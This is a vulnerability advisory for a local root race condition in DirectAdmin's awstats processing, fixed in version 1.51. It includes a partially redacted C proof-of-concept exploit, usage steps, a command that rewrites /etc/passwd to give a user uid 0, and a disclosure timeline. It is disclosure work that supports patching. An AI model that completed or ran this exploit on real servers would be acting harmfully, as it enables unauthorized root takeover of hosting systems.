Vulnerability

Note: Some details were removed to prevent simple recreation of exploit.

Affected software: DirectAdmin versions below 1.51

DirectAdmin performs unsafe operations as root on user awstats directories and can be tricked to perform chown to user on any file in a system.

awstats_process.sh is executing many commands as root in /home/USER/domains/DOMAIN/awstats directory which are prone to race condition. One of those commands is chown ${USER}:${USER} ${STATS_DIR}/awstats.pl. You can remove awstats.pl from awstats directory and ▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒ ▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒ ▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒ ▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒ ▒▒▒▒▒▒ ▒▒▒▒▒ ▒▒▒▒▒▒▒ and /etc/passwd will be owned by user. Now You can just change user uid to 0 and relog to gain root.

Exploit

/*
 * DirectAdmin 1.501 awstats local root exploit.
 *
 * Might be unreliable under light server load. Just use more domains at the same time.
 *
 * You might need to adjust CALL_TARGET. You can get this number by removing awstats.pl in user's
 * awstats directory and then counting open() calls during tally:
 * inotifywait -e OPEN -m /home/USER/domains/DOMAIN/awstats | grep awstats.pl
 *
 * Usage (assuming user is already after first tally, with awstats dir created):
 * cd /home/USER/domains/DOMAIN
 * rm awstats/awstats.pl
 ▒ ▒▒ ▒▒ ▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒
 ▒ ▒▒ ▒▒ ▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
 ▒ ▒▒▒ ▒▒▒▒▒ ▒▒▒ ▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
 ▒ ▒ ▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒ ▒▒▒▒▒ ▒▒▒ ▒▒▒▒ ▒▒▒ ▒▒▒▒▒ ▒▒ ▒▒▒▒▒▒▒▒
 * ./da_awstats_poc DOMAIN
 * # Edit uid in /etc/passwd:
 * dd if=/etc/passwd bs=1M | sed 's@^USER:.*@USER:x:0:0::/home/USER:/bin/bash@' | tee /etc/passwd
 * # Relog to gain root.
 ▒
 ▒ ▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒
 */

#define INOTIFY_MASK IN_OPEN
#define CALL_TARGET 8

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <pwd.h>
#include <sys/inotify.h>
#include <linux/limits.h>

void fail_func(const char *func)
{
    perror(func);
    exit(EXIT_FAILURE);
}

void fail(const char *str)
{
    printf("%s\n", str);
    exit(EXIT_FAILURE);
}

int main(int argc, char *argv[], char *envp[])
{
    struct passwd *pw;
    char awstat_path[PATH_MAX];
    char awstat_path_backup[PATH_MAX];
    char awstat_path_hacked[PATH_MAX];
    int ret, inotify, watch, call_nr;

    if(argc != 2)
    {
        printf("Usage: da <domain>\n");
        exit(EXIT_FAILURE);
    }

    // Get user home.
    pw = getpwuid(getuid());
    if(pw == NULL)
    {
        fail_func("getpwuid");
    }

    // Define paths.
    ret = snprintf(awstat_path, PATH_MAX - 1, "%s/domains/%s/awstats", pw->pw_dir, argv[1]);
    if(ret < 0)
    {
        fail_func("snprintf");
    } else if(ret >= PATH_MAX - 1) {
        awstat_path[PATH_MAX-1] = '\0';
        fail("Path too long.");
    }

    ret = snprintf(awstat_path_backup, PATH_MAX - 1, "%s/domains/%s/awstats.bak", pw->pw_dir, argv[1]);
    if(ret < 0)
    {
        fail_func("snprintf");
    } else if(ret >= PATH_MAX - 1) {
        awstat_path_backup[PATH_MAX-1] = '\0';
        fail("Path too long.");
    }

    ret = snprintf(awstat_path_hacked, PATH_MAX - 1, "%s/domains/%s/awstats.hacked", pw->pw_dir, argv[1]);
    if(ret < 0)
    {
        fail_func("snprintf");
    } else if(ret >= PATH_MAX - 1) {
        awstat_path_hacked[PATH_MAX-1] = '\0';
        fail("Path too long.");
    }

    // Initialize inotify.
    inotify = inotify_init();
    if(inotify < 0)
    {
        fail_func("inotify_init");
    }

    // Setup inotify watch for awstat_path.
    watch = inotify_add_watch(inotify, awstat_path, INOTIFY_MASK);
    if(watch < 0)
    {
        fail_func("inotify_add_watch");
    }

    call_nr = 0;
    while(call_nr < CALL_TARGET)
    {
        char buf[4096] __attribute__ ((aligned(__alignof__(struct inotify_event))));
        const struct inotify_event *event;
        ssize_t len;
        char *ptr;

        // Read events.
        len = read(inotify, buf, sizeof(buf));
        if(len <= 0)
        {
            fail_func("read");
        }

        // Process read events.
        for(ptr = buf; ptr < buf + len; ptr += sizeof(struct inotify_event) + event->len)
        {
            event = (const struct inotify_event *) ptr;
            if(event->wd != watch || !(event->mask & INOTIFY_MASK))
            {
                fail("Incorrect event received - it should not happen.");
            }

            // Check if event applies to awstats.pl.
            if(event->len <= 0)
            {
                continue;
            }
            if(strncmp("awstats.pl", event->name, sizeof("awstats.pl")) != 0)
            {
                continue;
            }

            ▒▒ ▒▒▒▒▒ ▒▒ ▒▒ ▒▒ ▒▒▒▒ ▒▒▒▒ ▒▒ ▒ ▒▒▒ ▒▒▒▒ ▒▒ ▒▒▒ ▒▒▒▒▒▒▒ ▒▒▒▒
            ▒▒▒▒▒▒▒▒▒▒

            ▒▒▒▒▒▒▒▒▒▒ ▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒
            ▒
                ▒▒▒▒▒▒▒▒▒
            ▒

            ▒▒ ▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒
            ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒ ▒▒
            ▒
                ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
            ▒
            ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒ ▒ ▒▒
            ▒
                ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
            ▒

            break;
        }
    }

    return 0;
}

Solution

Update DirectAdmin to version 1.51 or later.

Timeline

  • 2017-01-23 - Vulnerability reported to vendor.
  • 2017-01-24 - Response from vendor.
  • 2017-01-26 - Initial fix in pre-release binaries.
  • 2017-02-04 - Final fix in pre-release binaries.
  • 2017-02-09 - DirectAdmin 1.51 released with vulnerability fixed.